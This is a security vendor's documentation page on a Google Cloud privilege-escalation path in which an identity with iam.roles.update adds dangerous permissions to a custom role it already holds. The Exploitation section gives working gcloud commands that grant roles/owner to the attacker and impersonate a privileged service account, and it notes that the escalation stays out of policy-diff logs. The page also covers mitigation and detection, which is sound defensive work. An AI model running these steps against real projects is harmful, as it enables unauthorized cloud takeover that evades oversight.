> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/gcp/gcp_modify_custom_roles.md).

# GCP\_MODIFY\_CUSTOM\_ROLES

## Summary

|                            |                                      |
| -------------------------- | ------------------------------------ |
| **Forestall ACL Alias**    | GCP\_MODIFY\_CUSTOM\_ROLES           |
| **GCP Alias**              | IAM & Hierarchy Control              |
| **Affected Object Types**  | Organizations, Folders, Projects     |
| **Exploitation Certainty** | Certain                              |
| **Granting Roles**         | `roles/owner`, `roles/iam.roleAdmin` |

## Description

`GCP_MODIFY_CUSTOM_ROLES` indicates that an identity holds `iam.roles.update` on a GCP project or organization, granting the ability to create and modify **custom IAM roles**. This is a particularly stealthy privilege escalation path: instead of creating new IAM bindings (which are visible in policy diffs), an attacker can silently add dangerous permissions to a custom role that is already bound to their identity.

If the attacker's identity already holds a custom role binding, modifying that role to include `resourcemanager.projects.setIamPolicy` or `iam.serviceAccounts.getAccessToken` escalates privileges without any change to the IAM policy bindings — the escalation is not visible in `SetIamPolicy` audit logs.

**Key abuse scenarios:**

* Add `resourcemanager.projects.setIamPolicy` to a custom role the attacker already holds → instant project-level IAM takeover.
* Add `iam.serviceAccounts.getAccessToken` → directly impersonate any SA in the project.
* Add `iam.serviceAccounts.actAs` + `compute.instances.create` → create VMs attached to privileged SAs.

## Identification

### gcloud CLI

```bash
# Find who has iam.roleAdmin at project level
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("owner|iam.roleAdmin")) | {role: .role, members: .members}'

# Find who has iam.roleAdmin at org level
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud organizations get-iam-policy $ORG_ID --format=json | \
  jq '.bindings[] | select(.role | test("owner|iam.roleAdmin")) | {role: .role, members: .members}'

# List all custom roles in a project and their permissions
gcloud iam roles list --project=$PROJECT_ID --format=json | \
  jq '.[] | {name: .name, title: .title, permissions: .includedPermissions}'
```

### GCP Console

1. Open **GCP Console** → **IAM & Admin** → **Roles** → **Custom** tab.
2. Click each custom role and review **Included Permissions** for dangerous entries.
3. Check **IAM & Admin** → **IAM** for principals with `IAM Role Admin` or `Owner`.

## Exploitation

### gcloud CLI

```bash
# Identify which custom role the attacker's identity already holds
PROJECT_ID="target-project"
ATTACKER_EMAIL="attacker@example.com"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq --arg user "user:$ATTACKER_EMAIL" '.bindings[] | select(.members[] | contains($user))'

# Add setIamPolicy to the custom role the attacker already holds
ROLE_ID="customEditorRole"
gcloud iam roles update $ROLE_ID --project=$PROJECT_ID \
  --add-permissions=resourcemanager.projects.setIamPolicy

# Now escalate: grant full owner access to the attacker's identity
gcloud projects add-iam-policy-binding $PROJECT_ID \
  --member="user:$ATTACKER_EMAIL" \
  --role="roles/owner"
```

Alternatively, add token creator permission for direct SA impersonation:

```bash
gcloud iam roles update $ROLE_ID --project=$PROJECT_ID \
  --add-permissions=iam.serviceAccounts.getAccessToken

TARGET_SA="high-priv@${PROJECT_ID}.iam.gserviceaccount.com"
gcloud auth print-access-token --impersonate-service-account=$TARGET_SA
```

**Compound path:** `GCP_MODIFY_CUSTOM_ROLES` → add `setIamPolicy` to a role already bound to the attacker → `GCP_SET_PROJECT_IAMPOLICY` → full project takeover with no new IAM binding visible in policy diff logs.

## Mitigation

1. **Restrict `roles/iam.roleAdmin`** to dedicated automation accounts; never assign to human users in production.
2. **Separate role definition from role assignment** — use different principals for `iam.roles.update` and `iam.bindings.update`.
3. **Audit custom role permission changes** with the same urgency as IAM policy changes — `UpdateRole` does not appear in IAM policy diff alerts.
4. **Use `constraints/iam.allowedPolicyMemberDomains`** to limit who can be added to bindings even if a role is escalated.

## Detection

| Log Type       | Method                           | Key Fields                                                |
| -------------- | -------------------------------- | --------------------------------------------------------- |
| Admin Activity | `google.iam.admin.v1.UpdateRole` | `resource.type=iam_role`, permission additions in request |
| Admin Activity | `google.iam.admin.v1.CreateRole` | New custom role created with dangerous permissions        |

```bash
PROJECT_ID="my-project"
gcloud logging read \
  'protoPayload.methodName=("google.iam.admin.v1.UpdateRole" OR "google.iam.admin.v1.CreateRole")' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"
```

Alert on:

* Any `UpdateRole` call adding permissions containing `setIamPolicy`, `actAs`, or `getAccessToken`.
* New custom roles created with dangerous permission combinations.
* Role updates by identities outside of a known infrastructure automation pipeline.

## References

* <https://cloud.google.com/iam/docs/creating-custom-roles>
* <https://cloud.google.com/iam/docs/understanding-custom-roles>
